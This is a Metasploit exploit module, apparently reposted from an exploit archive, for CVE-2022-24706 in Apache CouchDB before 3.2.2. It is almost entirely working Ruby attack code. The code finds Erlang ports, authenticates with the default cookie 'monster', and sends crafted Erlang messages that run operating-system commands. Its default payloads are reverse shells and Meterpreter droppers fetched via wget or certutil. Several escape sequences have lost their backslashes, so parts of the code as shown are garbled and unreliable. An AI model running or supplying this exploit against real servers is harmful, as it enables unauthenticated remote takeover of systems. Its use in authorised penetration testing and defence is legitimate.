Authored by 1F98D, jheysel-r7, Konstantin Burov, _sadshade, Milton Valencia | Site metasploit.com

In Apache CouchDB versions prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.

advisories | CVE-2022-24706

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Retry
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
require 'msf/core/exploit/powershell'
require 'digest'

# Constants required for communicating over the Erlang protocol defined here:
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
EPM_NAME_CMD = "x00x01x6e".freeze
NAME_MSG = "x00x15nx00x07x00x03x49x9cAAAAAA@AAAAAAA".freeze
CHALLENGE_REPLY = "x00x15rx01x02x03x04".freeze
CTRL_DATA = "x83hx04ax06gwx0eAAAAAA@AAAAAAAx00x00x00x03x00x00x00x00x00wx00wx03rex".freeze
COOKIE = 'monster'.freeze
COMMAND_PREFIX = "x83hx02gwx0eAAAAAA@AAAAAAAx00x00x00x03x00x00x00x00x00hx05wx04callwx02oswx03cmdlx00x00x00x01k".freeze

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Couchdb Erlang RCE',
'Description' => %q{
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
authenticating and gain admin privileges.
},
'Author' => [
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
'1F98D', # Erlang Cookie RCE exploit
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
'_sadshade', # Apache CouchDB Erlang Cookie exploit
'jheysel-r7', # Msf Module
],
'References' => [
[ 'EDB', '49418' ],
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
[ 'CVE', '2022-24706'],
],
'License' => MSF_LICENSE,
'Platform' => ['win', 'linux'],
'Payload' => {
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
},
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :wget,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
),
)

register_options(
[
Opt::RPORT(4369)
]
)
end

def check
erlang_ports = get_erlang_ports
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?

erlang_ports.each do |erlang_port|
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
# successful and the target as well as the specific socket used in this instance is vulnerable
sock = connect_to_erlang_server(erlang_port.to_i)
if sock.instance_of?(Socket)
@vulnerable_socket = sock
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
else
next
end
end
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
end

# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
#
# @return [Array] An array of port numbers for discovered Erlang Servers.
def get_erlang_ports
erlang_ports = []
begin
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
# request Erlang nodes
sock.put(EPM_NAME_CMD)
sleep datastore['WfsDelay']
res = sock.get_once
unless res && res.include?("x00x00x11x11name couchdb")
print_error('Did not find any Erlang nodes')
return erlang_ports
end

print_status('Successfully found EDPM socket')
res.each_line do |line|
erlang_ports << line.match(/s(d+$)/)[0]
end
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error connecting to EDPM: #{e.class} #{e}")
disconnect
return erlang_ports
end
erlang_ports
end

# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
# default erlang cookie value in Apache CouchDB installations before 3.2.2
#
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
def connect_to_erlang_server(erlang_port)
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
print_status('Connection successful')
challenge = retry_until_truthy(timeout: 60) do
sock.put(NAME_MSG)
sock.get_once(5) # ok message
sock.get_once
end
# The expected successful response from the target should start with x00x1C
unless challenge && challenge.include?("x00x1C")
print_error('Connecting to the Erlang server was unsuccessful')
return
end

challenge = challenge[9..12].unpack('N*')[0]
challenge_reply = "x00x15rx01x02x03x04"
md5 = Digest::MD5.new
md5.update(COOKIE + challenge.to_s)
challenge_reply << [md5.hexdigest].pack('H*')
sock.put(challenge_reply)
sleep datastore['WfsDelay']
challenge_response = sock.get_once

if challenge_response.nil?
print_error('Authentication was unsuccessful')
return
end
print_status('Erlang challenge and response completed successfully')

sock
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
disconnect
return
end

def compile_cmd(cmd)
msg = ''
msg << COMMAND_PREFIX
msg << [cmd.length].pack('S>')
msg << cmd
msg << "jwx04user"
payload = ("x70" + CTRL_DATA + msg)
([payload.size].pack('N*') + payload)
end

def execute_command(cmd, opts = {})
payload = compile_cmd(cmd)
print_status('Sending payload... ')
opts[:sock].put(payload)
sleep datastore['WfsDelay']
end

def exploit_socket(sock)
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded, { sock: sock })
when :linux_dropper, :win_dropper
execute_cmdstager({ sock: sock })
when :psh_stager
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end

def exploit
# If the check method has already been run, use the vulnerable socket that has already been identified
if @vulnerable_socket
exploit_socket(@vulnerable_socket)
else
erlang_ports = get_erlang_ports
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)

erlang_ports.each do |erlang_port|
sock = connect_to_erlang_server(erlang_port.to_i)
next unless sock.instance_of?(Socket)

exploit_socket(sock)
end
end
end
end